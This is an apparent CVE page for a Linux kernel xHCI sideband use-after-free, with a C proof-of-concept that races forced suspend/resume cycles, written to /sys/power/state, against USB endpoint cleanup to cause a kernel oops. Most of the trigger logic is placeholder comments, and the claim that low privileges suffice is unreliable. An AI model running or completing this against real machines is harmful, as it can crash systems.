CVE-2026-23009 Linux内核xhci sideband释放后引用拒绝服务漏洞

// PoC for CVE-2026-23009 - Linux kernel xhci sideband UAF // This is a conceptual exploit demonstrating the vulnerability condition // Compile with: gcc -o poc poc.c -lpthread #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <fcntl.h> #include <errno.h> /* * Vulnerability trigger conditions: * 1. A USB audio device using xHCI sideband endpoints is connected * 2. System enters suspend (S3) state * 3. During resume, xHCI is reinitialized (simulating power loss) * 4. xhci_sideband_remove_endpoint() is called on already freed endpoint * 5. Dereferencing ep->ring causes kernel crash * * This PoC demonstrates the race condition concept for the vulnerability. * Actual exploitation requires specific USB audio hardware and kernel debug access. */ #define SUSPEND_DURATION 2 // seconds void* suspend_thread(void* arg) { printf("[PoC] Thread started: Will trigger suspend/resume cycle\n"); // Wait for device to be enumerated sleep(3); // Trigger multiple suspend/resume cycles for (int i = 0; i < 5; i++) { printf("[PoC] Cycle %d: Initiating system suspend...\n", i + 1); // Write to /sys/power/state to trigger suspend int fd = open("/sys/power/state", O_WRONLY); if (fd >= 0) { write(fd, "mem", 3); close(fd); } printf("[PoC] System waking up, xHCI reinitialized\n"); sleep(SUSPEND_DURATION); } return NULL; } void* device_trigger_thread(void* arg) { printf("[PoC] Thread started: Will trigger USB device operations\n"); // Simulate USB audio device connection/disconnection // In real scenario, use libusb or direct USB ioctl calls for (int i = 0; i < 10; i++) { printf("[PoC] USB device operation cycle %d\n", i + 1); // Trigger xhci_sideband_remove_endpoint through: // 1. USB audio driver endpoint cleanup // 2. Device disconnect during suspend // 3. xHCI host removal/re-enumeration sleep(1); // At this point, if xHCI was reinitialized during resume, // the endpoint ring may be in freed state // Accessing it would trigger the bug } return NULL; } int main(int argc, char* argv[]) { printf("=== CVE-2026-23009 PoC ===\n"); printf("Linux Kernel xhci_sideband_remove_endpoint() UAF\n\n"); printf("[PoC] Prerequisites:\n"); printf("[PoC] - USB audio device with xHCI sideband support\n"); printf("[PoC] - Kernel with vulnerable xhci-sideband.c\n"); printf("[PoC] - Root or low-privilege user access\n\n"); pthread_t suspend_t, device_t; // Create threads to trigger race condition pthread_create(&suspend_t, NULL, suspend_thread, NULL); pthread_create(&device_t, NULL, device_trigger_thread, NULL); pthread_join(suspend_t, NULL); pthread_join(device_t, NULL); printf("[PoC] Test completed. Check dmesg for kernel oops.\n"); return 0; }